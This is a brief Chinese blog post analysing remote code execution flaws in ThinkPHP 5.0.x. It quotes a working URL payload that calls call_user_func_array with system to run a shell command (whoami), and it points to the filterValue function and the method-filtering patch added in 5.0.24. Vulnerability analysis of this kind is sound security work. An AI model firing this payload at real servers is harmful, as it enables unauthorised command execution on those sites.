fmyyy1的博客

演示版本5.0.15 最终是利用反射调用函数执进行RCE application/config.php下强制路由默认为false 从payload来看 ?s=index/\think\app/ &function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.0.x (<=5.0.23) 5.0.23->5.0.24 对method方法添加了过滤，该方法为获取请求类型，5.0.24中只允许method为常用的几个方法，否则就将其置为POST方法。 在/thinkphp/library/think/Request.php下的filterValue函数下的第五行，调用了call_user_func()方法 private function filterValue(&$value, $key, $filters)